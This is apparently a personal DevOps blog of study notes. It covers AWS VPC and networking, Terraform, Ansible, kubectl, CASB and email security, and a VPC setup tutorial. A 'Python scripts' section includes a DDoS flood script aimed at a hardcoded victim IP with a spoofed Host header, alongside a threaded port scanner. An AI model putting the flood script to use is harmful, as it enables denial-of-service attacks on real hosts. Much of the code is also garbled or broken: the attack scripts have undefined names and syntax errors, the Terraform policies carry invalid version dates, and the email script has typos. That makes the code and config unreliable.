Sunday, July 25, 2021

Virtual Private Network --- VPN in AWS

VPC --- How it works

Amazon VPC uses a mapping service.  The mapping service abstracts your VPC from the underlying AWS infrastructure.  For any given VPC, the mapping service maintains information about all of its resources, their VPC IP addresses, and the IP addresses of the underlying physical server on which the resource is running.  It is the definitive source of topology information for each VPC.


When an Amazon EC2 instance, say Instance A, in your VPC initiates communication with another Amazon EC2 instance, say Instance B, over IPv4, Instance A will broadcast an Address Resolution Protocol (ARP) packet to obtain the Instance B's Media Access Control (MAC) address.  The ARP packet leaving Instance A is intercepted by the server Hypervisor.  The Hypervisor queries the mapping service to identify whether Instance B exists in the VPC and, if so, obtains its MAC address.  The Hypervisor returns a synthetic ARP response to Instance A containing Instance B's MAC address.


Instance A is now ready to send an IP packet to Instance B.  The IP packet has Instance A's source IP and Instance B's destination IP.  The IP packet is encapsulated in an Ethernet header with Instance A's MAC as the source address and Instance B's MAC as the destination address.  The Ethernet packet is then transmitted from Instance A's network interface.


As Instance A emits the packet, it is intercepted by the server Hypervisor.  The Hypervisor queries the mapping service to learn the IPv4 address of the physical server on which Instance B is running.  Once the mapping service provides this data, the packet emitted by Instance A is encapsulated in a VPC header that identifies this specific VPC and then encapsulated again in an IP packet with a source IP address of Instance A's physical server and a destination IPv4 address of Instance B's physical server.  The packet is then placed on to the AWS network.


When the packet arrives at Instance B's physical server, the outer IPv4 header and VPC header are inspected.  The instance Hypervisor queries the mapping service to confirm that Instance A exists on the specific source physical server and in the specific VPC identified in the received packet.  When the mapping service confirms that the mapping is correct, the Hypervisor strips off the outer encapsulation and delivers the packet that Instance A emitted to the Instance B network interface.


That explains why Amazon VPC does not support broadcast and multicast.


AWS Networking Services

Amazon Elastic Compute Cloud:

  • Web service that provides resizable compute capacity in the cloud
  • Obtain and configure virtual servers in Amazon's data centers, and harness those resources to build and host software systems
  • True virtual computing environment, choose Memory, CPU and storage
  • Variety of operating systems, and manage network access permissions


Amazon Virtual Private Cloud:

  • Amazon VPC lets organizations provision a logically isolated section of the AWS Cloud where they can launch AWS resources in a virtual network they define
  • Organizations have complete control over the virtual environment, including selection of the IP address range, creation of subnets, and configuration of route tables
  • and network gateways
  • Organizations can also extend their corporate on-premises data center networks to AWS by using hardware or software VPN connections or dedicated circuits by using 
  • AWS Direct Connect


AWS Direct Connect:

  • Allows organizations to establish a dedicated network connection from their data center to AWS
  • Organizations can establish private connectivity between their on-premises data center, office, or co-location AWS environment, and that can reduce network costs,
  • increase bandwidth throughput, and provide a more consistent network experience than Internet-based VPN connections


Elastic Load Balancing:

  • Automatically distributes incoming application traffic across multiple Amazon EC2 instances in the cloud
  • Enables organizations to achieve greater levels of fault tolerance in their applications, seamlessly providing the required amount of load balancing capacity to
  • distribute application traffic


Amazon Route 53:

  • Highly available and scalable DNS service
  • Designed to give developers and businesses an extremely reliable and cost-effective way to route end users to Internet applications by translating human readable names
  • to numeric IP addresses which computers use to connect to each other
  • Also serves as a domain registrar, allowing customers to purchase and manage domains directly from AWS


Amazon Cloudfront:

  • A global Content Delivery Network (CDN) service that securely delivers data, videos, applications, and Application Programming Interfaces (APIs) to an organization's
  • viewers with low latency and high speeds
  • Integrated with AWS, both with physical locations that are directly connected to the AWS global infrastructure and software that works seamlessly with other AWS
  • cloud services
  • Include AWS Shield for Distributed Denial of Service (DDoS) mitigation, Amazon S3, Elastic Load Balancing, or Amazon EC2 as origins for applications, as well as
  • AWS Lambda to run custom code close to the content viewers


GuardDuty:

  • A continuous security monitoring, threat detecting solution that gives customers visibility into malicious or unauthorized activity across their AWS accounts and the 
  • applications and services running within them
  • Capable of detecting threats such as reconnaissance by attackers like port probes, port scans, and attempts to obtain account credentials
  • Amazon EC2 instances that have been compromised by instances serving malware, bitcoin mining, and outbound DDoS attacks
  • Compromised accounts like unauthorized infrastructure deployments, AWS CloudTrail tampering, and unusual API calls
  • Whenever a threat is detected, the solution delivers a security finding
  • Each finding includes a security level, detailed evidence for the finding, and recommended actions


AWS WAF:

  • Helps protect web applications from common attacks and exploits that could affect application availability, compromise security, or consume excessive resources
  • Gives organizations control over which traffic to allow or block to their web applications by defining customizable web security rules


AWS Shield:

  • A managed DDoS that safeguards web applications running on AWS
  • Provides always-on detection and automatic inline mitigations that minimize application downtime and latency
  • Two tiers: Standard and Advanced














CloudFormation in AWS

CloudFormation is a tool that can automate the entire AWS infrastructure deployment.  It has the ability to create resource templates to define the AWS resource you needd to create.  You can also ddo version control on these templates, and by using these templates you can replicate your infrastructure rapidly and in a repeatable manner.

Advantages of CloudFormation

  • Version control the CloudFormation code using Git, GitHub, GitLab, BitBucket
  • Code your infrastructure using JSON or YAML
  • Review the code before pushing the change
  • Works as Infrastructure as Code, that is, no resources are created manually
  • Provided free of cost
  • Involves declarative programming, which would mean we define the end goal, and CloudFormation will figure out how to achieve the results


Ansible scripts

Install Apache on a RHEL/CentOS server

---

- hosts: all

  sudo: yes

  tasks:

    - name: Install Apache

      yum:name={{ item }} state=present

      with_items:

          - httpd

          - httpd-devel

    -  name: Copy configuration files

        copy:

            src:  "{{  item.src  }}

            dest:  "{{  item.dest  }}"

            owner: root

            group: root

            mode: 0644

        with_items:

          - src:  "httpd.conf"

            dest:  "/etc/httpd/conf/httpd.conf"

           - src:  "httpd-vhosts.conf"

             dest:  "/etc/httpd/conf/httpd-vhosts.conf"

      - name:  Make sure Apache is started and now and at boot

        service:  name=httpd  state=started  enabled=yes


Install Apache on different flavors of Linux using blocks

---

- hosts: web

  tasks:

     # Install and configure Apache on RedHat/CentOS hosts

     - block:

            - yum: name=httpd state=present

            - template: src=httpd.conf.j2 dest=/etc/httpd/conf/httpd.conf

            - service: name=httpd state=started enabled=yes

        when: ansible_os_family == 'RedHat'

        sudo: yes


    # Install and configure Apache on Debian/Ubuntu hosts

       - block:

           - apt: name=apache2 state=present

            - template: src=httpd.conf.j2 dest=/etc/apache2/apache2.conf

            - service: name=apache2 state=started enabled=yes

          when: ansible_os_family == 'Debian'

           sudo: yes




































Terraform scripts

Terraform is an open source Infrastructure as Code (IAC) tool created by HashiCorp that enables users to provision an infrastructure or manage IAC.  Terraform works by reading the code and translating it to API calls to AWS, Microsoft Azure, and Google Cloud Platform (GCP).

Creating resources in Terraform

We need to define the following in order to enable Terraform to know the credentials and authenticate as well as create resources:

Resource:  This defines an infrastructure object like an EC2 instance or an S3 bucket.

Logical name:  The logical name is used to refer to this resource from elsewhere in the Terraform script but it's scope is limited to the internal of the module.

Instance type:  The type of EC2 instance to run, such as t2.micro.  Varies in CPU, memory, I/O capabilities.

AMI:  An operating system image to run EC2 instances.

Running a script written in Terraform

terraform init

terraform plan 

terraform apply

terraform destroy    if you need to delete it 

Terraform scripts:

Create an EC2 instance

$ cat ec2-instance.tf

provider "aws" {

  region = "us-east-1"

}


resource "aws_instance" "test_instance" {

  ami           = "ami-038f1ca1bd58a5790"

  instance_type = "t2.micro"

}

$

Define IAM role for a specific user

$ cat iam_role.tf

provider "aws" {

  region = "us-west-2"

}


resource "aws_iam_role_policy" "my-test-policy" {

  name = "my-test-iam-policy"

  role = "${aws_iam_role.my-test-iam-role.id}"


  policy = <<EOF

{

    "Version": "2021-03-17",

    "Statement": [

        {

            "Sid": "VisualEditor0",

            "Effect": "Allow",

            "Action": [

                "s3:ListBucket",

                "s3:PutObject",

                "s3:GetObject"

],

            "Resource": "*"

        }

    ]

}

EOF

}


resource "aws_iam_role" "my-test-iam-role" {

  name = "my-test-iam-role"


  assume_role_policy = <<EOF

{

"Version": "2021-03-17",

"Statement": [

{

"Action": "sts:AssumeRole",

"Principal": {

 "Service": "ec2.amazonaws.com"

},

"Effect": "Allow"

}

]

}

EOF


  tags = {

    tag-key = "my-test-iam-role"

  }

}


resource "aws_iam_instance_profile" "my-test-iam-instance-profile" {

  name = "my-test-iam-instance-profile"

  role = "${aws_iam_role.my-test-iam-role.name}"

}


resource "aws_instance" "test_ec2_role" {

  ami                  = "ami-038f1ca1bd58a5790"

  instance_type        = "t2.micro"

  iam_instance_profile = "${aws_iam_instance_profile.my-test-iam-instance-profile.name}"

  key_name             = "rahul-dravid"

}

$

Creating a Transit Gateway

$ cat transit-gateway.tf

provider "aws" {

  region = "us-west-2"

}

data "aws_vpc" "vpc-dr" {

  filter {

    name   = "tag:Name"

    values = ["vpc-dr"]

  }

}

data "aws_subnet_ids" "vpc-dr-subnet" {

  vpc_id = data.aws_vpc.vpc-dr.id

}

data "aws_route_table" "vpc-dr-rt" {

  filter {

    name   = "tag:Name"

    values = ["vpc-dr-public-route-table"]

 }

}

resource "aws_ec2_transit_gateway" "tgw-dr" {

  description                     = "transit gateway for DR environment"

  amazon_side_asn                 = 63363

  auto_accept_shared_attachments  = "disable"

  default_route_table_association = "enable"

  default_route_table_propagation = "enable"

  dns_support                     = "enable"

  vpn_ecmp_support                = "enable"

  tags = {

    Name = "tgw-dr"

  }

}

resource "aws_ec2_transit_gateway_vpc_attachment" "tgw-dr-attachment" {

  transit_gateway_id = aws_ec2_transit_gateway.tgw-dr.id

  vpc_id             = data.aws_vpc.vpc-dr.id

  dns_support        = "enable"

  subnet_ids         = data.aws_subnet_ids.vpc-dr-subnet.ids

  tags = {

    Name = "tgw-dr-subnet"

  }

}

resource "aws_route" "my-tgw-route" {

  route_table_id         = data.aws_route_table.vpc-dr-rt.id

  destination_cidr_block = "10.133.72.0/23"

  transit_gateway_id     = aws_ec2_transit_gateway.tgw-dr.id

}

$


Creating a nightly instance

$ cat nightly_stop_instance.tf

resource "aws_iam_role" "iam_for_lambda" {

  name = "iam_for_lambda"

  assume_role_policy = <<EOF

{

  "Version": "2021-7-17",

  "Statement": [

    {

      "Action": "sts:AssumeRole",

      "Principal": {

        "Service": "lambda.amazonaws.com"

      },

      "Effect": "Allow",

      "Sid": ""

    }

  ]

}

EOF

}

resource "aws_iam_policy" "lambda_logging" {

  name        = "lambda_logging"

  path        = "/"

  description = "IAM policy for logging from a lambda"

  policy = <<EOF

{

  "Version": "2021-17-17",

  "Statement": [

    {

      "Effect": "Allow",

      "Action": [

        "logs:CreateLogGroup",

        "logs:CreateLogStream",

        "logs:PutLogEvents"

      ],

      "Resource": "arn:aws:logs:*:*:*"

    },

    {

      "Effect": "Allow",

      "Action": [

        "ec2:Start*",

        "ec2:Stop*"

      ],

      "Resource": "*"

    }

  ]

}

EOF

}

resource "aws_iam_role_policy_attachment" "lambda_logs" {

  role       = aws_iam_role.iam_for_lambda.name

  policy_arn = aws_iam_policy.lambda_logging.arn

}

resource "aws_lambda_function" "test_lambda" {

  filename         = "lambda.zip"

  function_name    = "stop_ec2_nightly"

  role             = aws_iam_role.iam_for_lambda.arn

  handler          = "lambda.lambda_handler"

  source_code_hash = base64sha256("lambda.zip")

  runtime          = "python3.7"

}

resource "aws_cloudwatch_event_rule" "cron_expr" {

  name                = "cron-expression"

  description         = "Fires every day at 7:45 pm UTC"

  schedule_expression = "cron(45 19 * * ? *)"

}

resource "aws_cloudwatch_event_target" "cron_expr_target" {

  rule      = aws_cloudwatch_event_rule.cron_expr.name

  target_id = "lambda"

  arn       = aws_lambda_function.test_lambda.arn

}

resource "aws_lambda_permission" "allow_cloudwatch_to_call_lambda" {

  statement_id  = "AllowExecutionFromCloudWatch"

  action        = "lambda:InvokeFunction"

  function_name = aws_lambda_function.test_lambda.function_name

  principal     = "events.amazonaws.com"

  source_arn    = aws_cloudwatch_event_rule.cron_expr.arn

}

$

















Kubernetes Orchestration commands

Features

  • Deploy and manage applications (Containers)
  • Scale up and down according to demand
  • Zero downtime deployments
  • Rollbacks

Kubectl command

Run commands against your cluster

  • Deploy
  • Inspect
  • Edit resources
  • Debug
  • View Logs

kubectl config view

kubectl config get-contexts

kubectl config current-context

kubectl config set-credentials kubeuser/username.kubernetes.com --username=kubeuser --password=<Whatever>


kubectl apply


Creating objects:

kubectl apply -f ./my-manifest.yaml

kubectl apply -f ./my1.yaml -f ./my2.yaml

kubectl apply -f ./dir

kubectl apply -f https://git.io/vPieo

kubectl create deployment nginx --image=nginx

kubectl create job hello --image=busybox -- echo "Hello World!!!"

kubectl explain pods

kubectl get services

kubectl get pods --all-namespaces

kubectl get deployment my-dep

kubectl describe nodes my-node

kubectl get pv --sort-by='.status.containerStatuses[0].restartCount'


kubectl rollout history deployment/frontend

kubectl rollout undo deployment/frontend

kubectl rollout status -w deployment/frontend


kubectl scale --replicas=3 rs/foo

POD-specific

kubectl get pods

kubectl rollout undo deployment/frontend

kubectl get pods --all-namespaces

kubectl get pod <POD-name> -o wide

kubectl get pod <POD-name> -o yaml

kubectl describe pod <POD-name>


Create one or more Deployments

kubectl run <POD-name> --image=<Image-name> --record


Scaling PODs

kubectl scale deployment/<POD-name> --replicas=3


Deployment history

kubectl rollout history deployment/<Deployment-name>












































Writing APIs

#!/usr/local/bin/python3.7

import requests

import json


def coordinate(x,y):

    coord = requests.get('http://api.open-notify.org/iss-pass.json?lat=%s&lon=%s' % (x,y))

    coord_json = coord.json()

    print(coord_json)


    for k in coord_json['response']:

        print(k['risetime'])


coordinate('51','150')

coordinate('26','134')

coordinate('17','-35')


This is for resolving:


api.open-notify.org/iss-pass.json?lat=51&lon=-150

JSON file:

{

  "message": "success",

    "request": {

      "altitude": 100,

      "datetime": 1625181736,

      "latitude": 51.0,

      "longitude": -150.0,

      "passes": 5

},

 "response": [

   {

     "duration": 430,

     "risetime": 1625222776

   },

   {

     "duration": 627,

     "risetime": 1625228434

   },

   {

     "duration": 657,

     "risetime": 1625234215

   },

   {

     "duration": 641,

     "risetime": 1625245839

   }

    ]

}






























Docker commands

 




































Cloud Access Security Broker --- CASB

Visibility

Compliance

Threat Prevention

Data Security


Cloud: Internet delivered data and application services


IaaS:  Systems and Storage  Eg. AWS

PaaS:  Application server stack  Eg. IBM BlueMix

SaaS:  Business applications  Eg. Salesforce


Advantages of Cloud

Reduce Total Cost of Ownership while increasing agility

Outsource Hardware and Infrastructure

Outsource Code / Version Management / Patching

Transfer Responsibility for Availability, 


IP Reputation: Database of bad IPs of frequent violators.  Shared across all customers.  Like spam blocking.

                         Malware Infections

                         Spamming Hosts

                         Malicious Activity

                         Potential Breaches

                         Compromised Websites

                         Hosts being used for Botnets

                         DNS Blacklist                                      AlienVault's OTX Reputation Monitor Alert monitors the reputation of your assets (public IPs and domains) and emails you notifications whenever there are changes.

IP address reputation is based on the neighborhood of your IP address, such as if it's registered to a data center, hosting provider, or a residential or wireless network.  Some services outright block entire neighborhood of IP addresses if their reputation is poor or if many IPs within that subnet are frequently engaging in suspicious behavior.  IP reputation history also plays a major role in the IP's current risk score.  Proxy and VPN IP addresses or any that allow anonymized connections to be tunnelled through their network can invite bad actors such as cybercriminals or fraudsters.  These users tend to abuse IP addresses by committing fraud or abusive behavior.  These IPs are monitored and blacklisted.


Phishing:  When attackers send malicious EMails designed to trick people into falling for a scam.  The intent is often to get users to reveal financial information, system credentials or other sensitive data.  Hackers use fraudulent EMails to fish for information from unsuspecting users.  Phishing is an example of social engineering: a collection of techniques that scam artists use to manipulate human psychology.  Social engineering techniques include forgery, misdirection and lying --- all of which play a part in phishing attacks.


EMail security: Is the term used for describing different procedures and techniques for protecting EMail accounts, content, and communication against unauthorised access, loss or compromise.  EMail is often used to spread malware, spam andd phishing attacks.  Attackers use deceptive messages to entice recipients to part with sensitive information, open attachments or click on hyperlinks that install malware on the victim's device.  EMail is also a common entry point for attackers looking to gain a foothold in an enterprise network and obtain valuable company data.  You can thwart EMail attacks by:

a.     EMail encryption

b.     Installing a secure EMail gateway which scans and processes all incoming and outgoing EMails and makes sure that no threats are allowed in

c.     Advanced BEC - Business EMail Compromise

d.     Compliance regulation --- GDPR, HIPAA, SOX, PCI-DSS


Data Leakage Protection:  Data Leakage Protection or Data Loss Prevention may be defined as technologies which perform both content inspection and contextual analysis of data sent via messaging applications such as EMail and instant messaging, in motion over the network in use on a managed endpoint device and at rest in on-premises file servers on in cloud applications and cloud storage.  These solutions execute responses ba=sed on policy and rules defined to address the risk of inadvertent or accidental leaks or exposure of sensitive data outside authorized channels.   Divided into two categories --- Enterprise DLP and Integrated DLP.  While Enterprise DLP solutions are comprehensive and packaged in agent software for desktops and servers, physical and virtual appliances for monitoring networks and EMail traffic, or soft appliances for data discovery, Integrated DLP is limited to secure Web gateways, secure EMail gateways, EMail encryption products, enterprise content management platforms, data classification tools, data discovery tools, and CASB.



















Python scripts to check on Networking aspects

Send a text message and a file attachment to an EMail ID

#!/usr/local/bin/python3

import smtplib
from email import encoders
from email.mime.matter import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart

server = smtplib.SMTP('smtp.gmail.com', 25)

server.ehlo()

with open('password.txt', 'r') as f:
    password = f.read()

server.login('kirands@yahoo.com', password)

msg = MIMEMultipart()
msg['From'] = 'Kiran DS'
msg['To'] = 'kirands2020@gmail.com'
msg['Subject'] = 'See if this goes through'

with open('message.txt', 'r') as fx:
    message = fx.read()

msg.attach(MIMEText(message. 'plain'))

filename = 'picture.jpg'
attachment = open(filename, 'rb')

p = MIMEbase('application', 'octet-stream')
p.set_payload(attachment.read())

encoders.encode_base64(p)
p.add_header('Content-Disposition', f'attachment; filename={filename}')
msg.attach(p)

matter = msg.as_string()
server.sendmail('kirands@yahoo.com', 'kirands2020@gmail.com', matter)

------------------------------------------------------------------------------------------------------------------------

Performing a DDoS attack
Note: Please do not perform a DDoS attack.  It is illegal and it could land you in trouble

#!/usr/local/bin/python3

import threading
import socket

victim = '137.139.141.143'
port = 80
fictitious_ip = '111.113.115.117'

already_connected = 0

def confront():
    while true:
        x = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        x.connect((target, port))
        x.sendto(("GET /" + victim + " HTTP/1.1\r\n").encode('ascii'), (victim, port))
        x.sendto(("Host: " + fictitious_ip + "\r\n\r\n").encode('ascii'), (victim, port)
        x.close()

        global already_connected
        already_connected = already_connected + 1
        if already_connected % 25 == 0:
            print(already_connected)

for i in range(25):
    thread = threading.thread(victim=confront)
    thread.start()

Note: Please do not perform a DDoS attack.  It is illegal and could land you in trouble

------------------------------------------------------------------------------------------------------------------------

Performing a Portscan for checking on open and closed ports

#!/usr/local/bin/python3

import socket
import threading
from queue import Queue

destination = "137.139.141.143"
line_up = Queue()
ports_open = []

def portscanner(arrow):
    try:
        primer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        primer.connect((destination, arrow))
        return True
    except:
        return False

print(portscanner(80))

for arrow in range(1, 1024):
    result = portscanner(arrow)
    if result:
        print("Port () is open!!!".format(arrow))
    else:
        print("Port () is closed!!!".format(arrow))

def fill_up_the_line(port_list):
    for arrow in port_list:
        line_up.put(arrow)
        
def worker():
    while not line_up.empty():
        port = line_up.get()
        if portscan(port):
            print("Port () is open!!!".format(port))
            ports_open.append(port)

port_list = range(1, 1024)
fill_up_the_line(port_list)

simultaneous_list = []

for x in range(25):
    simultaneous = threading.Thread(destination=worker)
    simultaneous_list.append(simultaneous)

for simultaneous in simultaneous_list:
    simultaneous.start()

for simultaneous in simultaneous_list:
    simultaneous.join()

print("Ports open are: ", ports_open)

------------------------------------------------------------------------------------------------------------------------







    












Thursday, July 22, 2021

Creating a VPC, a subnet, & launching an EC2 instance in AWS

Step 1: Create a VPC and subnets

The first step is to create a VPC and two subnets. This example uses the CIDR block 10.0.0.0/16 for the VPC, but you can choose a different CIDR block.

To create a VPC and subnets using the AWS CLI

  1. Create a VPC with a 10.0.0.0/16 CIDR block.
    aws ec2 create-vpc --cidr-block 10.0.0.0/16
    In the output that's returned, take note of the VPC ID.
  2.     "Vpc": {
  3.         "VpcId": "vpc-2f09a348", 
  4. Using the VPC ID from the previous step, create a subnet with a 10.0.1.0/24 CIDR block.
    aws ec2 create-subnet --vpc-id vpc-2f09a348 --cidr-block 10.0.1.0/24
  5. Create a second subnet in your VPC with a 10.0.0.0/24 CIDR block.
    aws ec2 create-subnet --vpc-id vpc-2f09a348 --cidr-block 10.0.0.0/24

Step 2: Make your subnet public

After you've created the VPC and subnets, you can make one of the subnets a public subnet by attaching an Internet gateway to your VPC, creating a custom route table, and configuring routing for the subnet to the Internet gateway.

To make your subnet a public subnet

  1. Create an Internet gateway.
    aws ec2 create-internet-gateway
    In the output that's returned, take note of the Internet gateway ID.
  2.         "InternetGatewayId": "igw-1ff7a07b", 
  3. Using the ID from the previous step, attach the Internet gateway to your VPC.
    aws ec2 attach-internet-gateway --vpc-id vpc-2f09a348 --internet-gateway-id igw-1ff7a07b
  4. Create a custom route table for your VPC.
    aws ec2 create-route-table --vpc-id vpc-2f09a348
    In the output that's returned, take note of the route table ID.
  5.         "RouteTableId": "rtb-c1c8faa6", 
  6. Create a route in the route table that points all traffic (0.0.0.0/0) to the Internet gateway.
    aws ec2 create-route --route-table-id rtb-c1c8faa6 --destination-cidr-block 0.0.0.0/0 --gateway-id igw-1ff7a07b
  7. To confirm that your route has been created and is active, you can describe the route table and view the results.
    aws ec2 describe-route-tables --route-table-id rtb-c1c8faa6
  8.             "RouteTableId": "rtb-c1c8faa6", 
  9.             "VpcId": "vpc-2f09a348", 
  10.                     "GatewayId": "local", 
  11.                     "DestinationCidrBlock": "10.0.0.0/16", 
  12.                     "State": "active", 
  13.                     "Origin": "CreateRouteTable"
  14.                     "GatewayId": "igw-1ff7a07b", 
  15.                     "DestinationCidrBlock": "0.0.0.0/0", 
  16.                     "State": "active", 
  17.                     "Origin": "CreateRoute"
  18. The route table is currently not associated with any subnet. You need to associate it with a subnet in your VPC so that traffic from that subnet is routed to the Internet gateway. First, use the describe-subnets command to get your subnet IDs. You can use the --filter option to return the subnets for your new VPC only, and the --query option to return only the subnet IDs and their CIDR blocks.
    aws ec2 describe-subnets --filters "Name=vpc-id,Values=vpc-2f09a348" --query 'Subnets[*].{ID:SubnetId,CIDR:CidrBlock}'
  19.         "CIDR": "10.0.1.0/24", 
  20.         "ID": "subnet-b46032ec"
  21.         "CIDR": "10.0.0.0/24", 
  22.         "ID": "subnet-a46032fc"
  23. You can choose which subnet to associate with the custom route table, for example, subnet-b46032ec. This subnet will be your public subnet.
    aws ec2 associate-route-table  --subnet-id subnet-b46032ec --route-table-id rtb-c1c8faa6
  24. You can optionally modify the public IP addressing behavior of your subnet so that an instance launched into the subnet automatically receives a public IP address. Otherwise, you should associate an Elastic IP address with your instance after launch so that it's reachable from the Internet.
    aws ec2 modify-subnet-attribute --subnet-id subnet-b46032ec --map-public-ip-on-launch

Step 3: Launch an instance into your subnet

To test that your subnet is public and that instances in the subnet are accessible via the Internet, launch an instance into your public subnet and connect to it. First, you must create a security group to associate with your instance, and a key pair with which you'll connect to your instance. For more information about security groups, see Security groups for your VPC. For more information about key pairs, see Amazon EC2 Key Pairs in the Amazon EC2 User Guide for Linux Instances.

To launch and connect to an instance in your public subnet

  1. Create a key pair and use the --query option and the --output text option to pipe your private key directly into a file with the .pem extension.
    aws ec2 create-key-pair --key-name MyKeyPair --query 'KeyMaterial' --output text > MyKeyPair.pem
    In this example, you launch an Amazon Linux instance. If you use an SSH client on a Linux or Mac OS X operating system to connect to your instance, use the following command to set the permissions of your private key file so that only you can read it.
    chmod 400 MyKeyPair.pem
  2. Create a security group in your VPC, and add a rule that allows SSH access from anywhere.
    aws ec2 create-security-group --group-name SSHAccess --description "Security group for SSH access" --vpc-id vpc-2f09a348
  3.     "GroupId": "sg-e1fb8c9a"
    aws ec2 authorize-security-group-ingress --group-id sg-e1fb8c9a --protocol tcp --port 22 --cidr 0.0.0.0/0
    Note
    If you use 0.0.0.0/0, you enable all IPv4 addresses to access your instance using SSH. This is acceptable for this short exercise, but in production, authorize only a specific IP address or range of addresses.
  4. Launch an instance into your public subnet, using the security group and key pair you've created. In the output, take note of the instance ID for your instance.
    aws ec2 run-instances --image-id ami-a4827dc9 --count 1 --instance-type t2.micro --key-name MyKeyPair --security-group-ids sg-e1fb8c9a --subnet-id subnet-b46032ec
    Note
    In this example, the AMI is an Amazon Linux AMI in the US East (N. Virginia) region. If you're in a different region, you'll need the AMI ID for a suitable AMI in your region. For more information, see Finding a Linux AMI in the Amazon EC2 User Guide for Linux Instances.
  5. Your instance must be in the running state in order to connect to it. Describe your instance and confirm its state, and take note of its public IP address.
    aws ec2 describe-instances --instance-id i-0146854b7443af453
  6.                         "Name": "running"
  7.                     "PublicIpAddress": "52.87.168.235", 
  8. When your instance is in the running state, you can connect to it using an SSH client on a Linux or Mac OS X computer by using the following command:
    ssh -i "MyKeyPair.pem" ec2-user@52.87.168.235